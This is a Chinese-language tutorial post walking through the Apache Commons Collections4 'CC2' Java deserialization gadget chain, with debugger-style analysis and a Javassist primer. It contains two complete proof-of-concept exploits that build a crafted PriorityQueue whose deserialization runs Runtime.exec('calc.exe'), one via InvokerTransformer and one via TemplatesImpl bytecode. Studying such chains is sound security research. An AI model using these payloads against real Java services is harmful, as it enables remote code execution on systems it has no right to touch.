前言 CC2这条链在后面几条链中还会用到,详细的写一下
利用链
1 2 3 4 5 6 7 ObjectInputStream.readObject() PriorityQueue.readObject() ... TransformingComparator.compare() InvokerTransformer.transform() Method.invoke() Runtime.exec()
利用链1分析 跟着利用链,首先看看PriorityQueue.readObject()
这里的queue[i]
是从readObject
得到的,再看看writeObject
writeObject
中依次将queue[i]
进行序列化,那么我们通过反射实例化PriorityQueue类的对象,给queue[i]
赋值,就实现了对queue[i]
的控制。
最后调用了heapify
方法,跟进:
当i>=0
时进入for循环,而i=(size >>> 1) -1
将size进行了右移操作,所以size>1
才能进入循环。
再跟进siftDown
方法
x就是queue[i]
,跟进siftDownUsingComparator
方法:
重点在comparator.compare(x, (E) c)
;
跟进可以看到Comparator
是一个接口,compare是它的抽象方法;
CC2利用链中TransformingComparator
类实现了compare方法
该方法中调用了this.transformer.transform()
方法,看到这里,就有点熟悉了,this.transformer
又是我们可控的,后面的理解和CC1差不多了
POC1分析 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 import org.apache.commons.collections4.Transformer; import org.apache.commons.collections4.comparators.TransformingComparator; import org.apache.commons.collections4.functors.ChainedTransformer; import org.apache.commons.collections4.functors.ConstantTransformer; import org.apache.commons.collections4.functors.InvokerTransformer; import java.io.FileInputStream; import java.io.FileOutputStream; import java.io.ObjectInputStream; import java.io.ObjectOutputStream; import java.lang.reflect.Field; import java.util.PriorityQueue; public class Test1 { public static void main(String[] args) throws Exception{ Transformer[] transformers = new Transformer[] { new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }), new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] { null, new Object[0] }), new InvokerTransformer("exec", new Class[] { String.class}, new String[] {"calc.exe"}), }; Transformer transformerChain = new ChainedTransformer(transformers); TransformingComparator Tcomparator = new TransformingComparator(transformerChain); PriorityQueue queue = new PriorityQueue(1, Tcomparator); queue.add(1); queue.add(2); try{ ByteArrayOutputStream barr = new ByteArrayOutputStream(); ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("cc2.txt")); outputStream.writeObject(queue); outputStream.close(); System.out.println(barr.toString()); ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("cc2.txt")); inputStream.readObject(); }catch(Exception e){ e.printStackTrace(); } } }
代码1
通过反射获取Runtime对象;
1 2 3 4 5 6 Transformer[] transformers = new Transformer[] { new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }), new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] { null, new Object[0] }), new InvokerTransformer("exec", new Class[] { String.class}, new String[] {"calc.exe"}), };
代码2 当调用ChainedTransformer的transformer方法时,对transformers数组进行回调,从而执行命令;
将transformerChain传入TransformingComparator,从而调用transformer方法;
new一个PriorityQueue对象,传入一个整数参数,且传入的数值不能小于1,再将Tcomparator传入。
1 2 3 Transformer transformerChain = new ChainedTransformer(transformers); TransformingComparator Tcomparator = new TransformingComparator(transformerChain); PriorityQueue queue = new PriorityQueue(1, Tcomparator);
代码3 前面说到,size的值要大于1,所以向queue中添加两个元素。
1 2 queue.add(1); queue.add(2);
添加上序列化和反序列化代码后,能成功执行命令,但是没有生成序列化文件,也就是没有cc2.txt
。 调试代码看一看,跟进PriorityQueue
类,这里comparator参数是我们传入的Tcomparator
;
继续跟,跟进queue.add(2)
,调用了offer
方法;
跟进offer
方法,进入else分支,调用了siftUp
方法;
跟进siftUp
方法,comparator参数不为null,进入if分支,调用siftUpUsingComparator
方法
继续跟,来到重点代码
跟进,这里会执行两次命令
但是return的值为0,程序就结束了,并没有执行POC后面序列化和反序列化的代码。
那么如何让return不为0呢。
既然调用siftUpUsingComparator
方法会出错,那试试调用siftUpComparable
方法,即comparator参数为null,修改代码,不传入comparator参数
1 PriorityQueue queue = new PriorityQueue(1);
再调试看看; 这下comparator参数就为null;
照样进入queue.add(2)
,到siftUp
方法,就进入else分支,调用siftUpComparable
方法
这样就只是单纯给queue[1]
赋值,并不会调用compare
方法
返回后就执行序列化代码,但是并没有执行命令,还要改进;
代码4
上面修改后的代码没有调用到compare
方法,我们可以在向queue中添加元素后,通过反射将Tcomparator
传入到queue的comparator参数;
1 2 3 Field field = Class.forName("java.util.PriorityQueue").getDeclaredField("comparator"); field.setAccessible(true); field.set(queue,Tcomparator);
这样comparator参数就不为null,当反序列化时调用readObject
方法时就会进入siftDownUsingComparator
方法,调用compare
方法,从而执行命令。
完整POC
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 import org.apache.commons.collections4.Transformer; import org.apache.commons.collections4.comparators.TransformingComparator; import org.apache.commons.collections4.functors.ChainedTransformer; import org.apache.commons.collections4.functors.ConstantTransformer; import org.apache.commons.collections4.functors.InvokerTransformer; import java.io.*; import java.lang.reflect.Field; import java.util.PriorityQueue; public class Test1 { public static void main(String[] args) throws Exception{ Transformer[] transformers = new Transformer[] { new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }), new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] { null, new Object[0] }), new InvokerTransformer("exec", new Class[] { String.class}, new String[] {"calc.exe"}), }; Transformer transformerChain = new ChainedTransformer(transformers); TransformingComparator Tcomparator = new TransformingComparator(transformerChain); PriorityQueue queue = new PriorityQueue(1); queue.add(1); queue.add(2); Field field = Class.forName("java.util.PriorityQueue").getDeclaredField("comparator"); field.setAccessible(true); field.set(queue,Tcomparator); try{ ByteArrayOutputStream barr = new ByteArrayOutputStream(); ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("cc2.txt")); outputStream.writeObject(queue); outputStream.close(); System.out.println(barr.toString()); ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("cc2.txt")); inputStream.readObject(); }catch(Exception e){ e.printStackTrace(); } } }
Javassit补充 简述:
Javassist是一个开源的分析、编辑和创建Java字节码的类库,可以直接编辑和生成Java生成的字节码。
能够在运行时定义新的Java类,在JVM加载类文件时修改类的定义。
Javassist类库提供了两个层次的API,源代码层次和字节码层次。源代码层次的API能够以Java源代码的形式修改Java字节码。字节码层次的API能够直接编辑Java类文件。
下面大概讲一下POC中会用到的类和方法:
ClassPool
ClassPool是CtClass对象的容器,它按需读取类文件来构造CtClass对象,并且保存CtClass对象以便以后使用,其中键名是类名称,值是表示该类的CtClass对象。
常用方法:
static ClassPool getDefault()
:返回默认的ClassPool,一般通过该方法创建我们的ClassPool;
ClassPath insertClassPath(ClassPath cp)
:将一个ClassPath对象插入到类搜索路径的起始位置;
ClassPath appendClassPath
:将一个ClassPath对象加到类搜索路径的末尾位置;
CtClass makeClass
:根据类名创建新的CtClass对象;
CtClass get(java.lang.String classname)
:从源中读取类文件,并返回对CtClass 表示该类文件的对象的引用;
CtClass *
CtClass类表示一个class文件,每个CtClass对象都必须从ClassPool中获取。
常用方法:
void setSuperclass(CtClass clazz)
:更改超类,除非此对象表示接口;
byte[] toBytecode()
:将该类转换为类文件;
CtConstructor makeClassInitializer()
:制作一个空的类初始化程序(静态构造函数);
示例代码 *
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 import javassist.*; public class javassit_test { public static void createPerson() throws Exception{ //实例化一个ClassPool容器 ClassPool pool = ClassPool.getDefault(); //新建一个CtClass,类名为Cat CtClass cc = pool.makeClass("Cat"); //设置一个要执行的命令 String cmd = "System.out.println(\"javassit_test succes!\");"; //制作一个空的类初始化,并在前面插入要执行的命令语句 cc.makeClassInitializer().insertBefore(cmd); //重新设置一下类名 String randomClassName = "EvilCat" + System.nanoTime(); cc.setName(randomClassName); //将生成的类文件保存下来 cc.writeFile(); //加载该类 Class c = cc.toClass(); //创建对象 c.newInstance(); } public static void main(String[] args) { try { createPerson(); } catch (Exception e){ e.printStackTrace(); } } }
新生成的类是这样子的,其中有一块static代码;
当该类被实例化的时候,就会执行static里面的语句;
利用链2分析 在ysoserial的cc2中引入了 TemplatesImpl 类来进行承载攻击payload,需要用到javassit;
先给出POC:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import javassist.ClassClassPath; import javassist.ClassPool; import javassist.CtClass; import org.apache.commons.collections4.comparators.TransformingComparator; import org.apache.commons.collections4.functors.InvokerTransformer; import java.io.FileInputStream; import java.io.FileOutputStream; import java.io.ObjectInputStream; import java.io.ObjectOutputStream; import java.lang.reflect.Constructor; import java.lang.reflect.Field; import java.util.PriorityQueue; public class Test2 { public static void main(String[] args) throws Exception{ Constructor constructor = Class.forName("org.apache.commons.collections4.functors.InvokerTransformer").getDeclaredConstructor(String.class); constructor.setAccessible(true); InvokerTransformer transformer = (InvokerTransformer) constructor.newInstance("newTransformer"); TransformingComparator Tcomparator = new TransformingComparator(transformer); PriorityQueue queue = new PriorityQueue(1); ClassPool pool = ClassPool.getDefault(); pool.insertClassPath(new ClassClassPath(AbstractTranslet.class)); CtClass cc = pool.makeClass("Cat"); String cmd = "java.lang.Runtime.getRuntime().exec(\"calc.exe\");"; cc.makeClassInitializer().insertBefore(cmd); String randomClassName = "EvilCat" + System.nanoTime(); cc.setName(randomClassName); //cc.writeFile(); cc.setSuperclass(pool.get(AbstractTranslet.class.getName())); byte[] classBytes = cc.toBytecode(); byte[][] targetByteCodes = new byte[][]{classBytes}; TemplatesImpl templates = TemplatesImpl.class.newInstance(); setFieldValue(templates, "_bytecodes", targetByteCodes); setFieldValue(templates, "_name", "blckder02"); setFieldValue(templates, "_class", null); Object[] queue_array = new Object[]{templates,1}; Field queue_field = Class.forName("java.util.PriorityQueue").getDeclaredField("queue"); queue_field.setAccessible(true); queue_field.set(queue,queue_array); Field size = Class.forName("java.util.PriorityQueue").getDeclaredField("size"); size.setAccessible(true); size.set(queue,2); Field comparator_field = Class.forName("java.util.PriorityQueue").getDeclaredField("comparator"); comparator_field.setAccessible(true); comparator_field.set(queue,Tcomparator); try{ ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("./cc2.bin")); outputStream.writeObject(queue); outputStream.close(); ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("./cc2.bin")); inputStream.readObject(); }catch(Exception e){ e.printStackTrace(); } } public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception { final Field field = getField(obj.getClass(), fieldName); field.set(obj, value); } public static Field getField(final Class<?> clazz, final String fieldName) { Field field = null; try { field = clazz.getDeclaredField(fieldName); field.setAccessible(true); } catch (NoSuchFieldException ex) { if (clazz.getSuperclass() != null) field = getField(clazz.getSuperclass(), fieldName); } return field; } }
代码1 通过反射实例化InvokerTransformer对象,设置InvokerTransformer的methodName为newTransformer
;
1 2 3 Constructor constructor = Class.forName("org.apache.commons.collections4.functors.InvokerTransformer").getDeclaredConstructor(String.class); constructor.setAccessible(true); InvokerTransformer transformer = (InvokerTransformer) onstructor.newInstance("newTransformer");
代码2 实例化一个TransformingComparator对象,将transformer传进去;
实例化一个PriorityQueue对象,传入不小于1的整数,comparator参数就为null;
1 2 TransformingComparator Tcomparator = new TransformingComparator(transformer); PriorityQueue queue = new PriorityQueue(1);
代码3 这里就要用到javassit的知识;
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 //实例化一个ClassPool容器 ClassPool pool = ClassPool.getDefault(); //向pool容器类搜索路径的起始位置插入AbstractTranslet.class pool.insertClassPath(new ClassClassPath(AbstractTranslet.class)); //新建一个CtClass,类名为Cat CtClass cc = pool.makeClass("Cat"); //设置一个要执行的命令 String cmd = "java.lang.Runtime.getRuntime().exec(\"calc.exe\");"; //制作一个空的类初始化,并在前面插入要执行的命令语句 cc.makeClassInitializer().insertBefore(cmd); //重新设置一下类名,生成的类的名称就不再是Cat String randomClassName = "EvilCat" + System.nanoTime(); cc.setName(randomClassName); //将生成的类文件保存下来 cc.writeFile(); //设置AbstractTranslet类为该类的父类 cc.setSuperclass(pool.get(AbstractTranslet.class.getName())); //将该类转换为字节数组 byte[] classBytes = cc.toBytecode(); //将一维数组classBytes放到二维数组targetByteCodes的第一个元素 byte[][] targetByteCodes = new byte[][]{classBytes};
这段代码会新建一个类,并添加了一个static代码块代码4
使用TemplatesImpl的空参构造方法实例化一个对象;
再通过反射对个字段进行赋值,为什么要这样赋值下面再说;
1 2 3 4 TemplatesImpl templates = TemplatesImpl.class.newInstance(); setFieldValue(templates, "_bytecodes", targetByteCodes); setFieldValue(templates, "_name", "blckder02"); setFieldValue(templates, "_class", null);
代码5 新建一个对象数组,第一个元素为templates,第二个元素为1;
然后通过反射将该数组传到queue中;
1 2 3 4 Object[] queue_array = new Object[]{templates,1}; Field queue_field = Class.forName("java.util.PriorityQueue").getDeclaredField("queue"); queue_field.setAccessible(true); queue_field.set(queue,queue_array);
代码6 通过反射将queue的size设为2,与POC1中使用两个add的意思一样;
1 2 3 Field size = Class.forName("java.util.PriorityQueue").getDeclaredField("size"); size.setAccessible(true); size.set(queue,2);
代码6 通过反射给queue的comparator参数赋值;
1 2 3 Field comparator_field = Class.forName("java.util.PriorityQueue").getDeclaredField("comparator"); comparator_field.setAccessible(true); comparator_field.set(queue,Tcomparator);
从PriorityQueue.readObject()
方法看起,queue变量就是我们传入的templates和1,size也是我们传入的2;
跟进siftDown方法,comparator参数就是我们传入的TransformingComparator实例化的对象
到TransformingComparator的compare方法,obj1就是我们传入的templates, 这里的this.transformer
就是我们传入的transformer
跟到InvokerTransformer.transform()
,input就是前面的obj1,this.iMethodName
的值为传入的newTransformer,因为newTransformer方法中调用到了getTransletInstance方法
接着调用templates的newTransformer方法,而templates是TemplatesImpl类的实例化对象,也就是调用了TemplatesImpl.newTransformer()
;
跟踪该方法;
继续跟踪getTransletInstance方法;
进行if判断,_name
不为空,_class
为空,才能进入defineTransletClasses方法;
这就是代码4中赋值的原因;
跟进defineTransletClasses方法;
_bytecodes
也不能为null,是我们传入的targetByteCodes,也就是代码3的内容
继续往下
通过loader.defineClass
将字节数组还原为Class对象,_class[0]
就是javassit新建的类
再获取它的父类,检测父类是否为ABSTRACT_TRANSLET
,所以代码3中要设置AbstractTranslet类为新建类的父类;
给_transletIndex
赋值为0后,返回到getTransletInstance方法,创建_class[_transletIndex]
的对象